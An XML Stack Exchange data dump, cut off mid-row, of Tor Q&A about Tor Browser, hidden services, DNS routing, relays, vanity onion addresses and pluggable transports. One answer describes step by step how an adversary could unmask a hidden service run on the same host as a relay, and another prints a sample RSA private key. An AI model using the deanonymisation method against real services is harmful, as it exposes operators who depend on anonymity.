<?xml version="1.0" encoding="utf-8"?>
<posts>
  <row Id="1" PostTypeId="1" AcceptedAnswerId="30" CreationDate="2013-09-25T17:37:48.447" Score="34" ViewCount="1069" Body="&lt;p&gt;Are there universities and labs that are unaffiliated with the Tor Project that are researching Tor and Onion Routing and contributing back to the Tor Project (be it in code, security audits, or just publishing papers about how Tor could be made more secure)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what labs are out there and what concepts are they researching (and where is there funding coming from if that information is available)?&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2015-06-01T00:06:49.207" LastActivityDate="2015-06-03T13:50:40.900" Title="What universities / labs are researching Tor security?" Tags="|research|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="1" AcceptedAnswerId="22" CreationDate="2013-09-25T18:33:31.650" Score="34" ViewCount="4551" Body="&lt;p&gt;Tor Browser Bundle ships with NoScript (which can disable JavaScript), but NoScript’s functionality is disabled. This means that by default in the Tor Browser Bundle, all JavaScript code is allowed to execute – including potentially adversarial code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the rationale behind this decision?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="33" LastEditDate="2013-09-25T19:32:49.020" LastActivityDate="2013-09-26T18:50:17.177" Title="Why does Tor Browser Bundle ship with JavaScript enabled?" Tags="|tor-browser-bundle|javascript|threats|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="1" AcceptedAnswerId="6" CreationDate="2013-09-25T18:38:24.127" Score="22" ViewCount="1237" Body="&lt;p&gt;Are there any implications if whilst running a non-exit relay, I also use the same machine to host a Hidden Service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How will this affect the anonymity of the Hidden Service (in terms of its location being obscured)?&lt;/li&gt;&#xA;&lt;li&gt;What effect would it have on the anonymity of clients using my relay as a middle node, or a guard node?&lt;/li&gt;&#xA;&lt;li&gt;Are there any other side-effects I should be aware of?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-25T19:07:44.913" Title="What are the implications of a Relay hosting a Hidden Service?" Tags="|relays|anonymity|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostTypeId="2" ParentId="2" CreationDate="2013-09-25T18:43:54.590" Score="11" Body="&lt;p&gt;The Tor Browser Bundle ships with Javascript enabled because disabling Javascript disrupts the user experience and even usability of such a significant portion of the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you should disable Javascript unless you absolutely need it to access a specific site!&#xA;See also the FAQ entry: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&quot;&gt;Why is NoScript configured to allow JavaScript by default in the Tor Browser Bundle? Isn't that unsafe?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="88" LastEditDate="2013-09-26T18:50:17.177" LastActivityDate="2013-09-26T18:50:17.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="1" AcceptedAnswerId="33" CreationDate="2013-09-25T18:46:11.363" Score="2" ViewCount="2448" Body="&lt;p&gt;As I understand it, Tor nodes and clients bootstrap themselves by contacting over the regular internet some hard-coded addresses to get basic network information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the effects of this design decision for someone facing a hostile network? Could a network administrator block this first connection? Could they impersonate the servers and give false information to the client, such that the user thinks they are secure, whilst their entire connection is compromised?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="74" LastEditDate="2013-09-25T20:50:10.247" LastActivityDate="2013-09-25T20:50:10.247" Title="What impact does Tor's bootstrapping process have for attack models?" Tags="|bootstrapping|attacks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="2" ParentId="3" CreationDate="2013-09-25T18:49:39.963" Score="13" Body="&lt;p&gt;I believe that all of your questions can be answered by explaining the underlying threat when running any relay on the same Tor as a hidden service:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relays publish bandwidth information about their usage and availability to enable the Tor network to efficiently route traffic and provide bandwidth where it is needed. Given that I see bandwidth information about your relay, I can potentially link your hidden service to your relay by tracking the popularity of your hidden service over time) and watching your relay's available bandwidth fluctuate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can track your popularity over time by setting up a relay and getting it the HSDir flag which allows it to become a location where service descriptors can be retrieved from for a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By modifying my relay's Tor to log hidden service descriptor requests, I can extrapolate how popular your hidden service at a given time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I have managed to correlate your hidden service with your relay, if I decide to use your relay as my entry to Tor, I now have your IP address, allowing me to correlate your IP address with your hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short: Don't run a relay on the same instance of Tor as you run your hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://donncha.is/2013/05/trawling-tor-hidden-services/&quot;&gt;Example of tracking hidden services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to being able to be tracked generally by a HSDir relay, you can be targeted more directly by a determined and powerful opponent because they can maintain the connection to your hidden service and they can pull a lot of bandwidth through the network separately to observe where things slow down when they are hitting your hidden service hard.&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="21" LastEditDate="2013-09-25T19:07:44.913" LastActivityDate="2013-09-25T19:07:44.913" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="1" AcceptedAnswerId="49" CreationDate="2013-09-25T18:50:07.680" Score="7" ViewCount="2273" Body="&lt;p&gt;I have seen implementations such as the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;Tor Browser Bundle&lt;/a&gt; and a &lt;a href=&quot;https://github.com/prof7bit/TorChat/downloads&quot;&gt;TorChat&lt;/a&gt;, based on the Tor network. I was wondering if there were any more of them out there?&lt;/p&gt;&#xA;" OwnerDisplayName="user22" LastActivityDate="2021-08-16T16:11:58.807" Title="What implementations of Tor are there?" Tags="|implementations|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="1" AcceptedAnswerId="26" CreationDate="2013-09-25T18:50:41.570" Score="53" ViewCount="74347" Body="&lt;p&gt;Tor can only handle TCP connections, but DNS is a UDP protocol. How does Tor route DNS requests over its TCP based network? Why can the same approach not be used to route all UDP traffic over Tor?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="58" LastEditDate="2013-10-05T17:03:21.750" LastActivityDate="2024-01-27T14:11:26.587" Title="How does Tor route DNS requests?" Tags="|dns|protocol|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="1" CreationDate="2013-09-25T18:59:36.270" Score="11" ViewCount="2738" Body="&lt;p&gt;If I want to create a bunch of Tor relays running Linux with various VPS providers and want to save on cost, what is the minimum hardware config that I can get away with while still effectively relaying traffic?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorDisplayName="user5" LastEditDate="2013-09-25T19:40:40.307" LastActivityDate="2013-09-25T19:44:43.257" Title="What are the minimum requirements for running a relay?" Tags="|relays|vps|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="1" AcceptedAnswerId="12" CreationDate="2013-09-25T19:10:48.823" Score="25" ViewCount="4841" Body="&lt;p&gt;Hidden Services usually have a long-ish string of alphanumeric characters for their &lt;code&gt;.onion&lt;/code&gt; address, and this is generated by Tor as part of the Hidden Service Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did some Hidden Services get 'memorable' .onion addresses such as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor Wiki - &lt;code&gt;torwikignoueupfm.onion&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A mirror of The Hidden Wiki - &lt;code&gt;wikitjerrta4qgz4.onion&lt;/code&gt; (notice it starts with &lt;code&gt;wiki&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15" LastEditorDisplayName="user66" LastEditDate="2013-09-25T20:33:10.017" LastActivityDate="2015-06-08T10:53:07.373" Title="How do Hidden Services get .onion domains that aren't random?" Tags="|onion-services|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="1" CreationDate="2013-09-25T19:11:21.240" Score="12" ViewCount="744" Body="&lt;p&gt;How should I explain the operation of Tor to a reasonably-intelligent but non-technical audience? I'm looking for a way to introduce folks to Tor in a way that helps them to understand its basic operation without overwhelming them. &lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorDisplayName="user5" LastEditDate="2013-09-26T20:36:55.753" LastActivityDate="2013-09-26T20:36:55.753" Title="How should one explain Tor to a non-technical audience?" Tags="|implementations|outreach|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="10" CreationDate="2013-09-25T19:12:57.907" Score="26" Body="&lt;p&gt;They use a tool like &lt;a href=&quot;https://github.com/katmagic/Shallot&quot; rel=&quot;noreferrer&quot;&gt;Shallot&lt;/a&gt; to brute-force the onion address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Shallot does is to generate a private key in the same way that the Tor software does when generating a new hidden service address. It then manipulates the public key portion of the key to create new versions of the .onion address and checks through those to see if they match the desired address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It generates a new private key periodically. The keys generated by Shallot and other methods of brute forcing an onion address have a larger than average public key component but are syntactically fine and pass all tests ensuring that they are good keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shallot is run like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./shallot ^test&#xA;----------------------------------------------------------------&#xA;Found matching pattern after 99133 tries: testvztz3tfoiofv.onion&#xA;----------------------------------------------------------------&#xA;-----BEGIN RSA PRIVATE KEY-----&#xA;MIICXgIBAAKBgQC3R85m6NQaA1ZjaYqvz1hvFIjbL4RtKdJbG8hlC9xEBkvfr/BG&#xA;8Z5vDiUzdbDt8mEBuZUDanx80uGJvbXTgmczX0UlkEOgGiZ8RKpnsbKaf/EJNrIw&#xA;T7MSXQmWNcm22nDeViV7fwy+Usyal2RE5cdVCFsPtEbVZqCumlKkEgCyFwIDBAZ7&#xA;AoGBAJSa2cGuru/XhzJAEAIwHZbgPDnum9T/srOYxUKW6afHZeOu5S4Cclwb+xb/&#xA;pGOtzn71XZfCKMfiVdxB/f3XTcRrYB2VnBoNToTD7WfH6DksdDf4zunqiEjvxi9K&#xA;R+tKhxmF7OedrRt8wIhUmFd1E2Q9nbTHI6icdB4kR4QkYKZzAkEA5M6samK7+495&#xA;6SWpRXiePIs7sHKWuxdCrG7kW5RNJrv2CcGYwK46TPcaXBcRfM4eq9+9PGoKi0IO&#xA;gSpOZ5vRYQJBAM0QAZYTZ6ApD014x372MX1ZNofuYL/+XF8ZPZV6Sh4+9MUBuNPb&#xA;yL7BENDr6pX4Zm6OepvAphhCa4vGno2pHncCQQCQnfhUCHANU4bjtX4EOoI63WDq&#xA;UwBOeIWxu0YvGt7Z25Dg9CNz/aX8UZIoj6VyKxLRbR9+K3mNrNgaopW+ZDKzAkEA&#xA;ttgTK1ALe+3v+5H+Ez1SvFPREDFcHihrfD1Ipc5zicY9ixTArgdyZvk+Pi+AMBVV&#xA;sL2HWvjRLEAgRclvKfkwWwJAFtM+BIGRM5me+fMALuBBEtKnbJ6maflsyucErEb0&#xA;pIIBkovF5oyWO3lSBmtStJIANNkHOg8aXqjcgPKusDN7CQ==&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By passing it a regular expression, you can describe what you want your .onion address to look like. Using this hostname and private key you can create the hostname and private_key files that tor expects to find in the hidden service directory.&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="21" LastEditDate="2015-06-08T10:53:07.373" LastActivityDate="2015-06-08T10:53:07.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="1" AcceptedAnswerId="24" CreationDate="2013-09-25T19:14:56.323" Score="41" ViewCount="7311" Body="&lt;p&gt;Is it possible for multiple Tor clients, running on different machines or even networks, to publish the same Tor hidden service using the same private key to load balance requests between them?&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="33" LastEditDate="2013-09-25T19:15:59.847" LastActivityDate="2020-10-18T13:03:40.823" Title="Can a hidden service be hosted by multiple instances of Tor?" Tags="|onion-services|load-balance|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="2" ParentId="11" CreationDate="2013-09-25T19:20:10.333" Score="6" Body="&lt;p&gt;Tor works by using a technique called onion routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client sets up a secure tunnel to a relay (its first node). It then uses that tunnel to mask its connection to a second relay (the middle node). It then uses the second tunnel (and thus the first) to create a secure connection to a third relay (a relay that has volunteered to be an exit node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you browse a webpage, your request is sent through the three-layer tunnel to the final exit node, who then sends the request out to whatever server you were talking to. The response from the server is similarly routed back through the three nodes to your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, no-one in the connection knows both your IP (the address of your computer) and what you're browsing for (the site you were talking with). Various parties know one or the other, but barring the various attack models, they cannot correlate the information.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="33" LastEditDate="2013-09-25T19:27:13.273" LastActivityDate="2013-09-25T19:27:13.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostTypeId="2" ParentId="8" CreationDate="2013-09-25T19:29:01.093" Score="-1" Body="&lt;p&gt;TOR is not capable of routing UDP traffic as far as I know. But for DNS it makes an exception. This can be done because of the way SOCKS5 works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When establishing a SOCKS5 connection the client sends either the IP address or a DNS. When TOR receives the DNS it uses the backend to resolve it (I don't really know exactly how it does it but I guess it's really similar to TCP and an endpoint resolves it for you) and then it can continue using the regular TCP/IP tor connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way TOR is able to provide hidden services as .onion DNS, as it is receiving DNS connections over SOCKS5. This is the reason why you leak DNS (and it is not possible to use .onion DNS) over SOCKS4 (it does not support DNS resolution).&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2013-09-25T19:29:01.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="2" ParentId="9" CreationDate="2013-09-25T19:31:40.387" Score="5" Body="&lt;p&gt;A lot of us are running on Raspberry Pi.  Almost every hardware setup can handle &lt;em&gt;some&lt;/em&gt; amount of traffic.  One just dials down the amount of bandwidth one is willing to advertise or accept in the configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a whole range of relay capabilities.  You can see a list of their bandwidths at &lt;a href=&quot;http://torstatus.blutmagie.de/&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;.  The fastest relays obviously have fiber connections and enough RAM and CPU to handle the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can monitor your node to see if it is getting crushed by the amount of traffic it is receiving.  My Raspberry Pi is able to qualify as a fast exit node, handling about 200KB/s.  In this case, the machine is CPU constrained.  For other setups, they are bandwidth constrained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pi has 512 MB RAM and the processor is by ARM.  The whole machine draws less than 5 Watts, about what a nightlight draws.   And it is very stable.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-09-25T19:44:43.257" LastActivityDate="2013-09-25T19:44:43.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="1" AcceptedAnswerId="21" CreationDate="2013-09-25T19:40:04.073" Score="8" ViewCount="1790" Body="&lt;p&gt;The Tor Project releases both Tor Browser Bundles, and Pluggable Transport Tor Browser Bundles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these different? How should I decide which bundle to use?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-25T19:49:46.580" Title="How are 'Pluggable Transport' bundles different from 'regular' Tor Browser Bundles?" Tags="|tor-browser-bundle|pluggable-transports|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="1" CreationDate="2013-09-25T19:42:05.373" Score="10" ViewCount="1669" Body="&lt;p&gt;If I have an application that supports a SOCKS proxy, and I point it at a running Tor instance, how can I be sure that all traffic the application sends (including DNS requests) are sent through the proxy?&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="923" LastEditDate="2014-07-02T01:31:29.907" LastActivityDate="2014-07-02T01:40:11.607" Title="How can I test an application for proxy leaks?" Tags="|socks|dns|proxy-leaks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="2" ParentId="19" CreationDate="2013-09-25T19:42:05.373" Score="4" Body="&lt;p&gt;One technique is to firewall your computer off so it can only communicate through Tor, and then use the application, watching your firewall logs.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up a Tor bridge on another host in your network/on the internet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Boot your client/testing machine from a LiveCD.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Tor on your client, have it point to the bridge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a firewall such as shorewall or iptables to block access to the internet except for your bridge. This should prevent anything from leaving your machine that doesn't go to that single port on that single IP over TCP. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tail your firewall logs, and let your machine quiet down. Stop any ntp services, system updates, etc. Get it so your machine is sending no traffic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start up the application, use every single feature and make sure it's all being correctly proxied through Tor. Anything that shows up in your logs is a leak. Investigate it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Shorewall Firewall configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/shorewall/zones&#xA;   fw      firewall   net      ipv4&#xA;/etc/shorewall/interfaces &#xA;   net     eth0       detect   dhcp&#xA;/etc/shorewall/policy &#xA;   fw      net        DROP     warn    &#xA;   net     fw         DROP     info&#xA;/etc/shorewall/rules &#xA;   ACCEPT  $FW        bridgeip tcp   bridgeport&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastEditorUserId="923" LastEditDate="2014-07-02T01:40:11.607" LastActivityDate="2014-07-02T01:40:11.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostTypeId="2" ParentId="18" CreationDate="2013-09-25T19:46:48.347" Score="4" Body="&lt;p&gt;Tor Pluggable Transport bundles are the new name for the old 'Pyobfsproxy/Flashproxy' and 'Obfsproxy' Tor Browser Bundles&lt;a href=&quot;https://blog.torproject.org/blog/new-name-obfsproxy-tor-browser-bundles&quot; rel=&quot;nofollow&quot;&gt; [1]&lt;/a&gt;. The PTB's include the python version of obfsproxy (not the old C version), and include more transport modes (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall idea behind the PTB's attempt to disguise Tor traffic to look like traffic from other common services (eg. normal HTTPS traffic, Skype traffic, etc. Some of the pluggable transports also transform other aspects of Tor traffic; for instance, the Flashproxy version turns web browsers into relays using normal websockets, or StegoTorus (a fork of Obfsproxy) splits Tor traffic between multiple streams to prevent fingerprinting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have a specific use for a pluggable transport bundle (eg. you live in a country that does deep packet inspection to detect or block Tor traffic), you can probably go with the normal TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-09-25T19:46:48.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="2" ParentId="2" CreationDate="2013-09-25T19:48:14.733" Score="33" Body="&lt;p&gt;As so often in anonymity, it boils down to a tradeoff between &lt;em&gt;security&lt;/em&gt; and &lt;em&gt;usability&lt;/em&gt;. JavaScript certainly doesn't have an excellent track record from a security point of view and disabling it will save you from a bunch of nasty attacks. But whether we like it or not, it's a crucial usability part of today's Internet. Disabling it in the Tor Browser Bundle would break an enormous amount of web sites. To make matters worse, a large fraction of Tor's users are no computer experts. They would likely be confused by all these broken web sites and end up not using Tor anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spin the thought further, less usability means less users which means a smaller anonymity set and less user diversity. After a disabled JavaScript would have chased away the less technically savvy users, the network might end up being composed of geeks who don't mind having no JavaScript. There goes the user diversity and also some anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current tradeoff seems sane. While JavaScript is enabled and makes web sites look nice, the NoScript extension (while allowing JavaScript) and a set of other TorBrowser patches takes care of a number of other attacks.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-09-25T19:48:14.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23" PostTypeId="2" ParentId="18" CreationDate="2013-09-25T19:49:46.580" Score="11" Body="&lt;p&gt;The pluggable transport bundles include FlashProxy and Obfsproxy, to let users get around censors who are trying to block access to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about pluggable transports here:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot;&gt;https://www.torproject.org/docs/pluggable-transports.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pluggable transport bundles come pre-configured with a handful of bridge addresses, which is good because you're up and running immediately, but bad because those are bottlenecks (and eventually a censor will pick up the list and block those bridges by address, even if it's hard to block them in fancier ways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually we want to merge the two into one big bundle, that ships with support for various pluggable transports but doesn't use them unless you specifically configure a bridge that needs one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for which one you should use, if you are in a censoring area (e.g. China, Syria, sometimes Iran, and some corporate networks), you will need the pluggable transport bundles. Otherwise you should use the normal bundle.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-25T19:49:46.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="13" CreationDate="2013-09-25T19:52:51.610" Score="23" Body="&lt;p&gt;Yes, but it may not provide the sort of load balancing you have in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://archives.seul.org/tor/relays/Apr-2011/msg00022.html&quot;&gt;http://archives.seul.org/tor/relays/Apr-2011/msg00022.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The answer if two different Tors have the same hidden service private&#xA;  key is that they will each publish a hidden service descriptor.&#xA;  Whichever one published more recently is the one that a user accessing&#xA;  the hidden service will probably find and use.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This approach can provide a very crude load balancing. More&#xA;  interesting, it can also provide a very crude failover, where if one&#xA;  of them disappears, an hour or so later the other will publish and the&#xA;  hidden service will become reachable again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastEditorDisplayName="user66" LastEditDate="2013-09-26T07:55:40.623" LastActivityDate="2013-09-26T07:55:40.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="2" ParentId="8" CreationDate="2013-09-25T20:00:31.273" Score="60" Body="&lt;p&gt;&lt;strong&gt;Short answer: Tor transports the hostname (inside the Tor protocol) to the exit relay, which resolves it for you.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor clients do not, in general, directly do DNS requests.  When you open a connection through the tor network you usually ask your client (on its socks ports) to connect you to a hostname and port, say &lt;a href=&quot;http://www.example.com:80&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.example.com:80&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your tor client, once it has created a circuit, will send that hostname and port to the exit node in its &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt?id=f9e111ead769d48441d99b52039ef0ccbd3f2c62#n1311&quot; rel=&quot;nofollow noreferrer&quot;&gt;RELAY_BEGIN cell&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The exit node will then do a DNS resolve and open a TCP connection to the target.  Once that's established it will tell your client that the connection is open, and for informational purposes will also tell your client what address that hostname resolved to.&lt;/p&gt;&#xA;&lt;p&gt;Tor, in addition to that, has some sort of &amp;quot;remote DNS resolve&amp;quot; protocol built in.  This support allows clients to &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt?id=f9e111ead769d48441d99b52039ef0ccbd3f2c62#n1475&quot; rel=&quot;nofollow noreferrer&quot;&gt;query&lt;/a&gt; for certain resource types, like IPv4 or IPv6 addresses.  Here too, the exit node does the actual DNS packet sending and receiving and just relays the answer to the client.&lt;/p&gt;&#xA;&lt;p&gt;No UDP packets are actually ever routed from the client.&lt;/p&gt;&#xA;&lt;p&gt;There's also a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/219-expanded-dns.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposal to add more full featured DNS support&lt;/a&gt; to Tor.  So far it hasn't been implemented.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Tor Protocol Specification references&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt?id=f9e111ead769d48441d99b52039ef0ccbd3f2c62#n1311&quot; rel=&quot;nofollow noreferrer&quot;&gt;6.2. Opening streams and transferring data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt?id=f9e111ead769d48441d99b52039ef0ccbd3f2c62#n1475&quot; rel=&quot;nofollow noreferrer&quot;&gt;6.4. Remote hostname lookup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/219-expanded-dns.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 219 - Support for full DNS and DNSSEC resolution in Tor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="58" LastEditorUserId="39249" LastEditDate="2024-01-27T14:11:26.587" LastActivityDate="2024-01-27T14:11:26.587" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="27" PostTypeId="1" AcceptedAnswerId="277" CreationDate="2013-09-25T20:03:45.587" Score="15" ViewCount="2884" Body="&lt;p&gt;&lt;a href=&quot;http://i2p2.de&quot; rel=&quot;noreferrer&quot;&gt;I2P&lt;/a&gt; is an alternative anonymity system, with a very different design - it focuses more on intra-I2P communication, rather than communication with the wider internet. Unlike Tor, every user of I2P is also the equivalent of a Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in how their threat model differs from the one assumed by Tor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What kind of adversary does Tor protect against, that I2P doesn't?&lt;/li&gt;&#xA;&lt;li&gt;What kind of adversary does I2P protect against, that Tor doesn't?&lt;/li&gt;&#xA;&lt;li&gt;Are there any adversaries that neither project protects against?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15" LastEditorUserId="174" LastEditDate="2013-09-30T13:28:46.537" LastActivityDate="2014-10-22T12:04:44.253" Title="How does Tor's threat model differ from i2p's threat model?" Tags="|threat-models|i2p|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="2" ParentId="5" CreationDate="2013-09-25T20:06:09.050" Score="2" Body="&lt;p&gt;For the security aspect (e.g. impersonation), you might like this FAQ entry which explains why it's safe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq#KeyManagement&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#KeyManagement&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you're right that a local network attacker could still prevent connections to these initial directory authorities, and thus stop bootstrapping. See point 'h' on &lt;a href=&quot;https://www.torproject.org/docs/documentation#UpToSpeed&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/documentation#UpToSpeed&lt;/a&gt; for a history of those issues, and why we designed and deployed &quot;bridge&quot; relays for this situation. And see also &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" 